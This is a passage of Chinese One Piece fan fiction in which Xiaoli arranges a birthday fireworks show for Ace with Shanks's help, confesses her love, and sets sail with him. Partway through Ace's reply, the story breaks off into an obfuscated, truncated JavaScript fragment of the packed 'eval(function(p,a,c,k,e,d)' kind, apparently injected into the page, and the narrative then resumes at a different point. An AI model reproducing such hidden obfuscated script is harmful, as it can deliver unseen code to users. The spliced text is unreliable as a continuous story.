她条理清晰地说完,甚至有点小得意,觉得自己分析得头头是道。说不定我其实是个聪明人?这个念头让她心情愉悦,尾巴不自觉地翘起来,在身后小幅度地得意摇晃。修行果然连智商都能提高呢!我比艾斯这个单细胞笨蛋要聪明多了! 她甚至挑衅地冲艾斯眯了眯蓝宝石般的眼睛,拖长了语调,一字一顿地宣告: “所以,其实现在,火拳艾斯——是一个‘幽灵’哦~!” 艾斯看着她那副尾巴翘上天、满脸写着“快夸我聪明”的嚣张表情,又听了她那番“幽灵论”,嘴角掠过一丝坏笑。他忽然几口把手里剩下的食物囫囵塞进嘴里然后快速咀嚼咽下,腾出了双手。 在小狸还没反应过来之前,他长臂一伸,一把将她从坐着的地方捞了起来,轻松地打横抱在怀里! “呀——!艾斯!你干嘛呀?!快放我下来!撞到人怎么办!” 小狸吓了一跳,惊呼出声,下意识地环住他的脖子,手里的果汁差点洒了。 “放心,不会撞到的。” 艾斯抱着她,忽然迈开长腿,在城镇算不上宽敞的街道上奔跑起来!风扬起他黑色的短发,他脸上带着恶作剧得逞般的、灿烂到晃眼的笑容,大声回答道: “毕竟——我现在可是‘幽灵’啊!你说,在别人眼里,被一个‘幽灵’抱着跑,你会不会看起来像是飘在半空中?会不会把他们都吓一跳?哈哈哈哈!” “艾斯!你幼不幼稚啊!!快放我下来!!” 小狸又羞又急,拳头捶着他的肩膀,脸颊也因为急速奔跑带起的风和周围可能投来的目光而迅速染红。 “就不放!幽灵抓到你啦!跟我回幽灵船吧小猫!哈哈哈哈哈哈!” 爽朗而开怀的大笑声,被他奔跑的身影拉得很长,洒满了夕阳下的街道,惊起归巢的飞鸟,也引得路人纷纷侧目,看着那个抱着少女奔跑的、笑容无比灿烂的黑发青年,以及他怀里那张红透的、埋在他颈窝里的小脸。 谁也没有发现,某只被“幽灵”抱着“飘”在半空的小猫,在最初的羞恼过后,嘴角却悄悄弯起了一个甜蜜的弧度。 艾斯这个笨蛋……当然不知道,她这只“被抓到的小猫”,可是正在蠢蠢欲动地,偷偷准备着一件要送给这个“幽灵”的“大礼”呢。 78.烟火 “老大!老大!” 一个扎着歪歪扭扭羊角辫、脸上还蹭着泥巴的小丫头,气喘吁吁地跑到村口,踮起脚,用力拉了拉小狸的衣角。 小狸正被战国罚背着小羊绕着村子蛙跳,战国气坏了,小羊完全被她教坏了,现在趁他不注意,哪怕小狸不在也会偷偷撞他的腰,最近还学会了蓄力冲撞 小丫头压低声音,但藏不住兴奋,“玛琪诺姐姐让我告诉你,你想要的东西,全都准备好啦!让你有空赶紧过去一趟!” 小狸的动作瞬间停住,顾不得还在“刑期”,猛地直起身,眼睛唰地亮了,仿佛落入了星辰:“已经好了?!太好了!我还担心今天到不了呢!” 她拍拍小羊的脑袋,小羊咩了一声,自己往回走,小狸则像一只终于被放出笼子的小鸟,也顾不上跟战国报备,反正他看到了小羊自己回来就明白了,兴冲冲地朝着玛琪诺的酒吧飞奔而去。 --- 当小狸一把推开酒吧那扇熟悉的木门时,里面扑面而来的景象,让她瞬间石化在了门口 今年的跨年夜,玛琪诺显然“干劲十足”——酒吧里提前到场的人很多——多的过头了! 原本温馨的小酒吧,此刻几乎被一群身材高大、气息彪悍、穿着海贼服饰的男人挤满了。酒气、笑声、豪迈的谈话声混在一起,热气腾腾。而最引人注目的,是那个坐在屋子正中间、被众人簇拥着的男人——一头醒目的红发,左眼三道抓痕,披着黑色大衣,虽然缺了一条手臂,却散发着山岳般沉稳又随性的气势,脸上带着爽朗不羁的笑容。 “你你你你……!” 小狸伸出一根颤抖的手指,先是难以置信地指向满屋子的海贼,然后僵直地转向那个红发男人,大脑一片空白,“你”了半天,愣是挤不出下一个字。她又猛地扭头看向吧台后,正笑眯眯擦着杯子、仿佛一切再正常不过的玛琪诺,崩溃般的:“他他他他——!!!” 这声惊叫在喧闹的酒吧里不算太响,却足够吸引一部分人的注意。红发香克斯顺着声音看来,见到门口那个炸着毛、瞪圆了蓝眼睛的少女,顿时哈哈大笑起来,笑声洪亮而愉悦。 “哈哈哈哈!看看这是谁来了!” 他身边的伙伴们也闻声看去,随即爆发出更大的哄笑声和起哄声。 “噗——船长,你看你,把人家小姑娘吓得!” “这就是你提到的那只‘小猫’?比想象中还小只嘛,怪可爱的!” 有人吹了个响亮的口哨:“嘿!小猫咪!我在马林梵多见过你!很帅呀!”“就是!要不要考虑来我们船上啊?” 七嘴八舌的调侃和邀请,让小狸的脸以肉眼可见的速度红了起来,头顶几乎要冒烟。她求助般地看向玛琪诺。 玛琪诺放下杯子,走过来,温柔地揉了揉小狸已经完全僵硬的脑袋,语气带着歉意和笑意:“抱歉呀小狸,你告诉我的时间实在太紧张了,想要的又是那种特殊定制的、量还很大的烟花……我这边实在来不及准备。正好香克斯他们的船在这附近海域……嗯,‘闲逛’,我就试着求助了一下我们可靠的‘船长’。” 她说着,朝香克斯眨了眨眼。 “哈哈哈哈!” 香克斯用仅剩的右手潇洒地挽了个花,做了个略显夸张但又不失风度的绅士礼,“能为可爱的小猫咪效劳,是我香克斯的荣幸!这点小事,包在我身上!” 小狸这才慢慢转动起思绪。原来……这个红头发的、曾经在莫比迪克号上和老爹拼酒、气息很强的“四皇”之一,是跑来……帮她送东西的“跑腿”?这个认知让她有点混乱。她眨眨眼,看着香克斯爽朗的笑容,从喉咙里挤出一声微不可闻的:“……谢谢。” 道了谢,她的目光随即被酒吧角落里堆放的那些东西吸引过去——那几乎是一座小山,用油布包裹得严严实实,但形状和体积都明确无误地昭示着里面是什么。那是她拜托玛琪诺订制的烟花,数量远比她最初想象的多得多,几乎可以称得上“军火”。 小狸看着那座“小山”,又下意识摸了摸自己腰间的钱包,脸上露出了明显的犹豫和窘迫。她原本计算的价钱,买普通烟花是够的,甚至绰绰有余。但她没想过会是这种规模,更没想过,送货上门的会是“四皇”这个级别的大人物!她那点钱,在这种场面下,瞬间变得相当寒酸。 她咬了咬下唇,抬头看向香克斯,声音虽然小,却努力清晰:“那个……烟花的钱……我、我会付的。只是……我现在可能不够……可以……可以等我一阵子吗?我会尽快凑齐的!” 她说到后面,耳朵都窘得耷拉下来,尾巴卷住了自己的小腿。 香克斯还没说话,他旁边的胖子拉基·路就一边啃着肉腿一边含糊地笑道:“船长,你看你,不光吓到小姑娘,还让人家为难了!” “才没有呢!” 香克斯冲着拉基·路喊了一嗓子,然后转向小狸,随意地挥了挥右手,笑容洒脱,“钱什么的,无所谓啦!就当是我送给你和艾斯那小子……嗯,还有白胡子老头的赔罪礼好了!再说,” 他眨了眨眼睛,带着点促狭,“小猫你是喜欢我的,对吧?喜欢香克斯哥哥的礼物,就不用客气!” “差不多的了船长,还哥哥,小猫要叫叔叔了吧!” “不过,小猫” 香克斯好奇地用下巴指了指那堆烟花山,“你要这么多烟花做什么?这分量,不知道的还以为你要去炸哪个海军基地呢!” 他调侃道。 小狸的脸“腾”地一下红得更厉害了,低下头,脚尖蹭着地板:“因为……因为今天是哥哥的生日。我想……陪他过一个难忘的生日。我……我看过书里的烟火,很漂亮……所以,想尽量……做到最好。” 最后几个字带着一股执拗的温柔。 “生日?!” 香克斯脸上的笑容顿了一下,显得有点意外,“艾斯那小子的生日是今天吗?” 小狸肯定地点点头。 香克斯的眼神忽然变得有些悠远,随即又化开成更温暖的笑意,他灌了一大口酒,用袖子擦了擦嘴角:“原来如此……对于我来说,艾斯那小子,就像是我的弟弟一样啊。” 他想起那个耀眼又带着一丝熟悉的桀骜背影,似乎看到了罗杰的影子,语气里带上了一丝感慨和欣慰,“没想到还能有机会,一起庆祝生日……这感觉,还挺不赖的嘛!” 他的话刚说完,就被玛琪诺温柔却坚定地打断了:“不行哦,船长。” 玛琪诺手里端着新的酒瓶,脸上带着了然和善意的微笑,意有所指地看向小狸烧红的脸颊和几乎要缩起来的肩膀:“艾斯今晚……可是有‘专属’的约会。” 香克斯顺着玛琪诺的目光看向小狸,看到少女那羞得快要原地蒸发、却又隐隐透着期待和紧张的模样,顿时恍然大悟。他用力一拍自己的额头,发出“啪”的一声脆响,然后挠着后脑勺,哈哈大笑起来,笑声里充满了“原来如此”的爽朗和一丝“差点坏事”的懊恼:“啊!原来是这样!那我可真是太不解风情了!抱歉抱歉,小猫,你就当我刚才的话没说过!” 小狸被他笑得耳根都快烧着了,再也待不住,一跺脚,像只受惊的兔子般转身就跑,连句告别的话都忘了说,黑色的尾巴在门口一晃就消失了。 香克斯还在她身后,带着笑意提高声音喊道:“喂——小猫!别忘了!晚上放烟花的活儿交给我!玛琪诺都和我商量好了!保证给你放到最漂亮!准时准点——!” 他的声音混着同伴们的哄笑,被小狸远远抛在身后。 --- 最终,卡普和战国还是婉拒了玛琪诺邀请大家一起去酒吧跨年的提议。两个老家伙默契地对视一眼,拎起简单的行囊,离开了风车村。 “去找小鹤喝喝茶,下下棋。” 卡普掏着耳朵,大大咧咧地说,“最近海军里头乌烟瘴气的,老朋友也难得聚聚。” 当然,更重要的是,他瞥了一眼自家那个还在院子里打盹、似乎对即将到来的“特别夜晚”毫无所觉的傻孙子,又想起某个这两天忙得脚不沾地、眼神闪烁却亮得惊人的小丫头,心里哼了一声。 臭小子,老子只能帮你到这儿了。卡普难得细腻且八卦地想,气氛都给你烘到这份上了,连红发那小子都搬来当“苦力”了……成败就在此一举了!加油啊,小狸! 他仿佛已经看到了自家孙子可能出现的各种傻样,嘴角忍不住咧开一个恶劣又期待的弧度。 家里没了长辈,顿时显得空旷又自由。小狸从玛琪诺的酒吧带回了丰盛的晚餐,两人在温暖的灯光下安静享用。艾斯伸了个大大的懒腰,骨头发出惬意的轻响。 “不知不觉,就是今年的最后一天了啊……” 他望着窗外渐渐沉下的暮色,语气有些感慨,“时间过得真快。” 小狸正在收拾碗筷,闻言动作顿了顿,心跳漏了一拍。她偷偷瞄了艾斯一眼,见他只是望着窗外出神,似乎并没有特别在意“最后一天”背后的另一层含义,悄悄松了口气,又有点莫名的失落。 艾斯确实有所察觉。这两天小狸总是神神秘秘的,眼睛亮晶晶的又藏着点紧张。他大概能猜到,这小丫头大概是想给他一个生日惊喜。 他支着下巴,看着小狸在厨房里假装忙碌实则时不时偷看他的小模样,眼底的笑意和宠溺几乎要溢出来。他甚至在认真地思考,一会儿是应该配合地装出大吃一惊、感动无比的样子好呢,还是故意板起脸,逗她说“我早就发现啦”,看她气鼓鼓又拿他没办法的可爱样子好呢? 阳光太暖,晚饭太饱,身边的气息太安宁。想着想着,靠在躺椅上的艾斯,不知不觉竟真的沉入了梦乡。意识滑入黑暗前,最后一个念头是:反正,不管她准备了什么,都会是最好的礼物。 --- 艾斯是被一种极其专注的、温柔的注视唤醒的。 迷迷糊糊睁开眼时,窗外的天色已经彻底暗了下来,小狸正蹲在他的躺椅旁,双手交叠垫在扶手上,下巴则搁在手背上,那双在昏暗光线下依然清澈湛蓝的猫瞳,一眨不眨地地凝视着他,仿佛要把他睡着的每一寸轮廓都刻进心底。 见他醒来,那双蓝眼睛里的专注瞬间化开,漾起温柔的笑意和一丝小小的埋怨。 “你再不醒,我就要喊你了。” 小狸的声音轻轻的,像夜晚的海风,“艾斯睡得真久。” 艾斯揉了揉眼睛,打了个慵懒的哈欠:“没办法,太舒服了嘛~” 他故意拖长了调子,带着点撒娇的意味 小狸看着他这副模样,心里软成一片,那点小小的埋怨也烟消云散了。她小声嘟囔:“真是的……我准备了好久呢,要是错过了时间怎么办……可是艾斯睡得好香,我没舍得喊你……” 艾斯坐起身,伸手揉了揉她毛茸茸的发顶,笑容在昏暗的光线里格外温柔:“我以为你是想给我一个大惊喜,所以故意瞒着我呢。其实直接告诉我也没关系嘛,我一样会很开心。” 他说的是真心话,只要能和她在一起,做什么都很好。 小狸:“……” 她身体僵了一下,啊……对哦,这本来应该是个惊喜来着…… 她光顾着看他睡觉,把这事给忘了!算了,反正他也猜到了大概 “砰!” 一声清脆的、如同信号枪般的响声,从村子的方向传来,划破了夜晚的宁静。 艾斯瞬间警觉,睡意睡意全无,眼神锐利起来,身体也下意识进入了备战状态。“村里?” 他眉头蹙起,第一反应是出了什么事,立刻就要起身查看。 “艾斯!” 小狸却一把抓住了他的手,阻止了他。她的手指微微用力,带着不容置疑的力道和一丝不易察觉的颤抖。 她攀上了屋顶,冲着艾斯伸出了手“上来。” 艾斯顺着她的力气来到屋顶,中央铺着一条厚厚的、毛茸茸的毯子——艾斯认得,那是小狸最喜欢的一条,经常被她拿来当窝,上面还残留着阳光和她身上特有的干净气息。毯子旁边,甚至还放着一个小小的篮子,里面隐约透出点心的香甜。 小狸拉着他并肩坐下。夜晚的风有些凉,但毯子很温暖,她的手指也暖暖的。她微微仰起头,望向深邃的、繁星点点的夜空,侧脸在星光下显得柔和而美好,眼睛里充满了某种艾斯难以完全解读的、闪亮亮的期待。 “艾斯,你看。” 艾斯顺着她的目光,也抬起了头,望向那片熟悉的、宁静的夜空。 就在他视线聚焦的刹那—— “咻——!!!!!” 一道尖锐而明亮的破空之声,骤然撕裂了夜的寂静! 紧接着,一点炽白的光,如同逆行的流星,拖着长长的、耀眼的金色尾焰冲向天际的最高处 “嘭!!!!!!!” 第一朵盛大无比的烟花,在天幕正中央轰然怒放 那是难以用语言形容的绚烂。巨大的金色光球将整个风车村照耀得如同白昼,光芒之中,无数细碎的金色光点如同喷泉般向四面八方流淌。 这仅仅是个开始。 紧接着,无数道色彩各异的光束,从村庄的不同角落争先恐后地升空,如同奔赴一场盛大的狂欢。 艾斯完全被这突如其来的景象攫住了心神。他仰着头,黑色的瞳孔里倒映着漫天华彩,那光芒如此炽烈,如此绚烂,仿佛将他的眼睛都染上了更瑰丽的颜色。他微微张着嘴,脸上的表情是纯粹的、毫不掩饰的惊叹与沉浸。风声、遥远的欢呼声、烟花爆炸的余音,似乎都离他很远,他的世界里,此刻仿佛只剩下了这片为他而绽放的、显得分外不真实的烟花雨。 小狸在璀璨变幻的火光中,悄悄地侧过头,目光固定在身旁艾斯的侧脸上。 烟火的光芒一遍又一遍地勾勒出艾斯俊朗的眉眼。平日里,他总是散发着灼热、爽朗、充满活力的气息,但此刻,他的脸上呈现出一种罕见的、深沉的温柔与宁静。那是一种卸下所有重担、全然沉浸于美好时刻的放松,一种被深深珍惜着的、不自知的动人。 看着这样的他,小狸的心像是被攥住了……无数复杂而汹涌的情感猛地冲垮了所有犹豫、羞涩和不安。喉咙发紧,但某种更强大的力量支配了她。 艾斯感觉到,一只微微汗湿、却无比温暖的手轻轻地握住了他的手。 他一怔,从漫天华彩中收回些许心神,下意识地低头。 两人的手自然而然地变成了十指紧扣的姿态,指节相扣,紧密无间。 他的目光顺着相握的手向上,对上了小狸仰起的脸。 烟火正在她身后盛放,为她整个人镀上了一层流动的光。她的发丝在光中几乎透明,那双蔚蓝色的猫瞳,因为映照着漫天光华和某种更加炽烈的情感而亮得惊人。 “哥哥……不对……艾斯。” 她深深地吸了一口气,仿佛用尽了全身的力气,才能将那句在心中演练过千百遍、却依旧重若千钧的话语,捧到他的面前。 “我喜欢你。” 烟花恰在此时迎来一个短暂的空隙,世界仿佛安静了一瞬,只有她的声音在回荡。 “不是对家人、对伙伴的那种依赖和喜欢……是……” 她的睫毛颤动着,声音却愈发清晰坚定,“是想要一直一直在一起,永远不分开的那种喜欢。是……是就算这个世界有无数个很好很好的人,但在我眼里,只有你是独一无二、谁也无法替代的……那种喜欢。” 她停顿了一下,蓝眼睛一眨不眨地望着他,仿佛要将他此刻每一丝表情都刻入灵魂。她的声音很轻,却带着当初那错过了机会的遗憾、后怕、恐惧……还有对于此情此景的浓浓庆幸,复杂的情绪让泪水终于无法控制地盈满了眼眶,却没有掉落,反而让她的眼神更加清澈透亮,如同被雨水洗过的海面。 “我真的,好喜欢,好喜欢你。” “所以……” 她的声音带上了哽咽,却奇异地变得更加柔软而直白,将那个埋藏心底、历经生死、最终破土而出的问题,连同她整颗毫无保留、滚烫跳动的心,一起捧到了他的面前: “……你也能喜欢我吗?” 艾斯愣住了。 时间仿佛被无形的力量拉长、凝固。小狸那句清晰而勇敢的告白,穿透了漫天烟火的轰鸣与绚烂,直直地撞进他的耳膜,然后在他脑海中炸开。 不是预想中的生日惊喜,不是含蓄的礼物,而是这样直接、这样滚烫、这样……将他所有防线和伪装焚烧殆尽的告白。 巨大的惊喜如同此刻天幕上盛放的烟花,在他胸腔脑海里轰然绽放!心脏疯狂擂动,咚咚咚地撞击着肋骨,声音大得他几乎怀疑小狸也能听见。血液奔涌着冲向四肢百骸,带来一种酥麻的、近乎眩晕的喜悦,指尖都在微微发麻发热。 他几乎是凭着本能,猛地收紧了与她十指相扣的那只手。力道大得甚至有些失控,指节微微泛白,他甚至能感觉到她纤细指骨在自己掌心下的形状,以及她因为吃痛而几不可查的轻微瑟缩。但他顾不上了,仿佛只有通过这样切实的、用力的交握,才能确认这不是另一场醒来就会消散的美梦。 “小狸……” 他的喉咙像是被砂纸打磨过,干涩得厉害,他需要再确认一次,必须再确认一次。尽管内心早已被狂喜的海啸彻底淹没,每一个细胞都在叫嚣着拥抱她、回应她,但最后一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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艾斯再也无法等待,也无法承受任何一丝不确定的可能了!就在她开口的瞬间,他心中那座名为“克制”和“等待”的火山,被那句开头彻底点燃,轰然爆发!他害怕听到任何带有犹豫的词语,害怕这来之不易的、他梦寐以求的勇气,会因为他愚蠢的迟疑而溜走。 他猛地收紧了五指,将她的小手更加牢固地锁在自己滚烫的掌心,与此同时,另一只手臂揽住了她纤细柔软的腰肢。 他的指尖划过她腰间衣料下裸露的一小片细腻皮肤,手臂收紧,带着不容抗拒的、甚至有些霸道的力道,将她整个人从坐姿微微提起,然后深深地、紧紧地扣向自己滚烫坚实的胸膛。 两人之间的距离瞬间归零。她的惊呼被淹没在他的动作里。 “小狸,” 他打断了她即将出口的重复,声音低沉沙哑,微微低头,黑眸如同最深沉的夜空,里面燃烧着足以吞噬一切的火焰,牢牢地锁住她近在咫尺的、带着惊愕和一丝茫然的蓝眼睛,仿佛要将她的灵魂也一并烙印下来。 “我也喜欢你。” 这五个字,他说的很慢,很重。 “从很久以前,连我自己都没完全弄清楚的时候,就喜欢得不得了。” 他的声音更低了,却带着灼人的热度,喷洒在她微微颤抖的唇瓣上: “喜欢到……看到你笑就觉得全世界都亮了,看到你靠近就心跳加速……喜欢到,无数次想这样抱着你,告诉你,你是我生命里最重要、最珍贵的奇迹。” 话音落下的瞬间,仿佛所有的语言都已多余。他不再等待,不再犹豫。 艾斯俯下身,精准地、毫不犹豫地、带着一种近乎虔诚的渴望和宣告所有权的决绝,覆上了那两片他渴望了不知多久、在梦中描摹过无数次、此刻近在眼前的、柔软而微凉的唇瓣。 “唔……!” 小狸惊愕地睁大了眼睛,瞳孔在瞬间收缩,里面清晰地倒映着艾斯骤然放大的、无比专注而深情的脸。大脑“嗡”地一声,彻底一片空白。所有的声音都在这一刻潮水般褪去,世界仿佛被按下了静音键。 感官世界里,只剩下唇上传来那温热而柔软得不可思议的触感,带着他身上特有的清爽气息,带着火焰的微灼感,将她从头到脚、从里到外彻底吞噬。 他的吻,起初带着一丝不易察觉的、试探般的轻柔,那近乎小心翼翼的珍视,仿佛在确认她的默许,又仿佛怕惊碎了这场过于美好的梦境。 但这份轻柔只维持了极其短暂的时间。 那压抑沉淀了太久、在生死边缘徘徊时最为清晰、重逢后每分每秒都在滋长的情感,如同终于寻到出口的炽热熔岩,轰然决堤,汹涌而出 他的手臂收紧,将她更紧密地嵌入自己怀中。唇上的力道随之加重,变得炽热、深入而缠绵。他不再满足于浅尝辄止,舌尖带着不容拒绝的温柔和一丝霸道的探索,轻轻抵开她因为惊愕而微启的齿关,更深地侵入了那片甜美而陌生的领域。 “嗯……” 小狸只觉得浑身像被抽走了所有骨头,软绵绵地、完全依赖地靠在他坚实滚烫的怀抱里。 她下意识地闭上了眼睛,睫毛剧烈地颤动着,在眼睑下投出不安又迷醉的阴影。生涩、懵懂,却又带着全然的信任和潜意识的渴望,她开始笨拙而顺从地承受着这个突如其来的、却仿佛早已期待了千百回的亲吻。渐渐地,那紧绷的身体一点点放松,甚至开始尝试着,用青涩的回应,去轻轻碰触他的唇。 这细微的、几乎难以察觉的回应,却像是最猛烈的助燃剂,瞬间点燃了艾斯所有克制的理智! 他喉间溢出一声模糊的、满足的低吟,将她抱得更紧。那些困扰都抛诸脑后,只剩下本能驱使下的炽热交缠。他的呼吸变得灼热而急促,带着滚烫的温度,一遍遍拂过她早已红透的脸颊和敏感的耳廓,激起一层层细小的,令人脸红心跳的战栗。他的一只手依旧与她十指紧扣,用力到骨节分明;另一只手则在她单薄的背脊上无意识地、带着强烈占有欲地轻轻摩挲,顺着脊柱的曲线上下游移,仿佛在确认她的真实存在,又像是无声的安抚和宣言。 所有过往的犹豫、试探、不安、自我怀疑,都如同阳光下的薄雾,烟消云散。一切的一切,都被这汹涌澎湃、确认无误的爱意焚烧殆尽,只剩下彼此交融的、带着烟火气息的呼吸,失控如擂鼓的心跳,以及那份终于无需隐藏、赤裸坦诚的、滚烫的眷恋。 不知过了多久,直到小狸感觉到大脑的晕眩感才轻轻推了推他结实如铁的胸膛。 艾斯感受到她细微的抗拒,这才恋恋不舍地、缓缓地结束了这个几乎让人窒息的深吻。但他的唇并未完全离开,而是流连在她被吻得微微红肿、泛着诱人水光的唇瓣上,眷恋地、轻轻地啄吻了几下,才最终拉开一丝距离。 他的额头依旧抵着她的,微微喘息,灼热的呼吸毫无阻隔地交融在一起,温度高得吓人。艾斯那双总是燃烧着火焰的黑眸,此刻翻涌着未退的情潮和一种近乎失而复得的、巨大而温柔的满足。他深深地、深深地望进小狸那双氤氲着朦胧水汽、迷离又羞涩的蓝色猫瞳里,那里面清晰地倒映着他自己同样动情、无法平静的模样。 “现在……” 他的声音沙哑得厉害,带着浓得化不开的情欲和一种尘埃落定的笃定,拇指指腹无比温柔地、一遍遍抚过她微微红肿、显得格外饱满诱人的下唇,眼神温柔得能溺毙所有理智,“……你再也没有机会跑掉了,小猫。” 他的宣告,带着火焰般的霸道和深海般的柔情。 “你是我的了。永远都是。” 小狸的脸早就红透了,甚至蔓延到了脖颈和锁骨。巨大的羞赧和几乎要满溢出来的幸福感,让她不敢再与他对视,把滚烫的脸深深埋进他散发着灼热体温和熟悉气息的颈窝里,像只寻求庇护的幼兽。 但她的嘴角,却不受控制地上扬,勾勒出最甜蜜的弧度。她没有说话,只是用带着全然的依赖和归属感的声音,轻轻地“哼”了一声,仿佛在抗议他的“霸道”,又像是在撒娇。 艾斯感受到怀中身体的柔软依偎和那声娇嗔般的轻哼,胸腔里发出低沉而愉悦的的轻笑。他将下巴轻轻搁在她的发顶,满足地喟叹一声,仿佛终于拥抱住了漂泊一生所追寻的、最温暖安定的港湾,拥抱住了他的整个世界。 夜空中的烟火,在他们的头顶进行了最后一次盛大辉煌的齐放,万千光芒同时绽放,然后光芒渐渐消散,化作细碎的光点,依依不舍地坠落,最终归于深邃的宁静。 风,温柔地环绕着他们,带着烟火散去后的淡淡硝烟味和海水的咸涩,也带来了远处隐约飘来的、新年的钟声与欢呼。 新的一年,开始了。 79.火拳艾斯回来了 午后,风车村后山那片熟悉的草地上,艾斯背靠着一棵粗壮橡树的树干,微微阖着眼,似乎在小憩。小狸几乎整个人都靠在他怀里,手里捏着几张有些皱巴巴的悬赏令,她现在真的很需要钱,虽然这样,但是她的目光却并未聚焦在那夸张的金额和照片上,她悄悄偏过头,用余光偷瞄着艾斯线条清晰的下颌和微微翕动的睫毛。 艾斯的呼吸悠长而温热,偶尔拂过她头顶的发旋,带来丝丝缕缕的痒意,引得她发间那对敏感的黑色猫耳不受控制地轻轻颤动,耳尖的绒毛在阳光下泛着细碎的光。 ……喜欢。 小狸在心底悄悄地、反复地咀嚼着这个词,每一次回味都让心尖泛起甜蜜的涟漪。她喜欢他的气息,喜欢他坚实可靠、能将她完全包裹的手臂和胸膛。还喜欢……她的手指偷偷划过他衣料下那些块垒分明、充满弹性力量的身体轮廓。 艾斯似乎“睡着”了,呼吸均匀。小狸的胆子便悄悄肥了起来。那只原本安分放在自己膝盖上的小手开始做坏事,一点一点、极其缓慢地挪动。指尖先是装作无意地碰了碰他环在她腰间的手臂,感受到手指下紧实流畅的线条。然后,得寸进尺地,顺着臂弯的弧度,悄悄探向他胸腹的位置。 这些天,趁着艾斯“不注意”,她的爪子已经心满意足地揩了不少类似的“油水”。小狸的指尖像过了电,微微发麻,脸颊早已烫得能煎蛋,她还没学会新身份给她的合理性,占了些便宜就像偷腥的猫,心里涌起一股恶作剧得逞般的、隐秘的快乐。 而看似沉睡的艾斯,嘴角几不可查地向上弯起一个细微的弧度。他哪里是“不注意”,他分明是乐见其成,甚至……是故意的。 最初的羞赧与悸动并未迅速演变成炙热的黏腻,反而沉淀为一种更深入骨髓的安宁与默契。艾斯的手臂依旧是她最安心的港湾,但他的怀抱一种…无声宣告主权般的、更坚实的占有。他会在她清晨揉着惺忪睡眼走出房间时,极其自然地伸手理顺她翘起的发丝,指尖若有似无地拂过那抖动的猫耳根部,引来她一阵细微的战栗和下意识向他臂弯的轻蹭。在训练后,他的汗水沿着绷紧的肌理滑落,却并不急于冲洗,而是先走到在一旁捧着水壶等待的小狸面前,就着她的手喝几口水,然后低头,用带着汗意和热气的额头轻轻碰一下她的,交换一个只有彼此才懂的、带着海盐与阳光气息的亲吻。 已经等待了这么久,他清楚小猫的小心翼翼与退缩,他也不着急,用一切无声的方式,编织一张温柔的网,诱骗着那只自制力本就相当贫乏的小猫,主动靠近,主动触碰,主动沉溺。然后,他再顺理成章地将人圈进怀里,收紧手臂,牢牢的守住自己的宝物 艾斯也是后来才知道那场夸张的烟花秀居然是让四皇之一的红发亲自跑腿促成的,无奈扶首的同时又对小猫自己认定的天价债务感到好笑,干脆随她去了 这种平静的日子美好得像一个不愿醒来的梦。但艾斯知道,梦终究会醒。他身体里流淌的是海贼的血,骨子里镌刻着对自由和冒险的渴望。白胡子海贼团的旗帜还在心中飘扬,伙伴们的笑脸、老爹低沉的笑声、莫比迪克号随着海浪摇摆的节奏……这些从未真正远离。更何况,他“火拳艾斯”的名字,沉寂得已经够久了。世界需要知道,白胡子的儿子没有沉沦,他还在大海上,活得比谁都自由耀眼。 更重要的是,他仍没有忘记最初的想法,带小狸去看看这个广阔的世界。 这个念头在某天傍晚变得无比清晰。他们并肩坐在海岸边巨大的礁石上,看夕阳将海面烧成一片流动的金红。小狸抱着膝盖,尾巴在身后悠闲地轻摆,忽然轻声说:“艾斯……大海…真美呀,感觉,怎么都看不腻” “嗯。”他点头,伸出手臂揽住她的肩膀,让她靠在自己怀里,指向海天相接处那模糊的弧线,“没有尽头的海。有平静得像镜子的时候,也有能掀翻巨浪的暴风雨。有藏着宝藏的岛屿,也有等着和你打一架的有趣家伙。” 他顿了顿,手指无意识地卷着她一缕微凉的发丝,声音低了下来:“小狸,我……” “我们出海吧,艾斯。” 他未竟的话语被她轻声接过。小狸抬起头,目光清亮而坚定地看着他,没有一丝犹豫。“我想…和你一起去看你说的那些。我还没去过鱼人岛呢,还有和之国……而且,”她抿了抿唇,耳朵微微动了动,“我还欠了香克斯先生好大一笔钱……艾斯要陪我去当赏金猎人哦”小狸蹭了蹭他的下巴“之前艾斯出海是一个人吧,这次我还可以做航海士,把你走过的路再走一次,一定很有趣” 艾斯愣住了,随即胸腔被一股滚烫的暖流涨满。他以为需要解释,需要安抚,需要承诺。可她什么都知道,什么都想到了。她想陪他去冒险,也想和他一起承担,甚至帮他找好了理由。 他猛地收紧手臂,将她更深地拥入怀中,下巴抵着她的发顶,嗅着她身上淡淡的、混合着阳光和皂角的清香,喉咙有些发紧。“…笨蛋。”他哑声说,语气里是化不开的温柔和骄傲,他低头看着她近在咫尺的脸,黑眸里映着最后的天光和她小小的影子,笑容重新灿烂起来,“不过既然我的小猫都这么说了——那我们就出海吧!让那些海军和不开眼的家伙们都知道,‘火拳艾斯’回来了!” 决定一旦做出,行动便雷厉风行。艾斯心里还记挂着另一件事——他家老爷子卡普。在卡普的心中,恐怕两人的特训永远也达不到他满意的标准,在被“亲切督促”之前溜之大吉,无疑是上上之选。 于是,在一个海风微凉的清晨,艾斯熟门熟路地搬空了卡普的冰箱,将里面囤积的、足够一个海军中将吃上半个月的食物扫荡一空,不仅毫无心理负担,甚至带着点恶作剧的快意。 小狸跟在他身后,抱着一个明显过于鼓胀的背包,有些忐忑地拽他衣角:“艾斯…我们是不是拿得太多了?爷爷回来…” “这是帮他改善饮食结构!”艾斯义正辞严,把最后两盒草莓奶油甜甜圈塞进去,拉好拉链,“老爷子年纪大了,少吃甜食对身体好。我这是替他解决健康隐患,他该谢谢我。” 他甚至找来纸笔,龙飞凤舞地留下一张字条,用一把匕首“咚”地钉在空空如也的储藏室门板上,力道之大,让门板都呻吟了一声。 【爷爷: 我带着小猫先走了。总在村子里窝着骨头都要生锈了,是时候让世界重新记起‘火拳艾斯’还活着了! 您年纪大了,少吃点甜食,对身体不好。这些我就帮您处理掉了,不用太感谢我。 注意保重身体啊,下次见面,可别都追不上我了。拄着拐杖跑不快的。 —— 艾斯】 末尾,画了一个嚣张无比、咧嘴大笑的简笔笑脸。 想象着卡普推开这扇门时可能爆发的怒吼和奔腾的血压,艾斯心满意足地吹了声口哨,牵起小狸的手:“走了,航海士小姐!目标——伟大航路,出发!” --- 前锋号驶离风车村小小的港口,熟悉的船身破开蔚蓝的水面。小狸轻巧地跃上甲板,径直走向那个她专属的、可以窝着看海的角落,动作自然得像回家。她趴在船舱,下 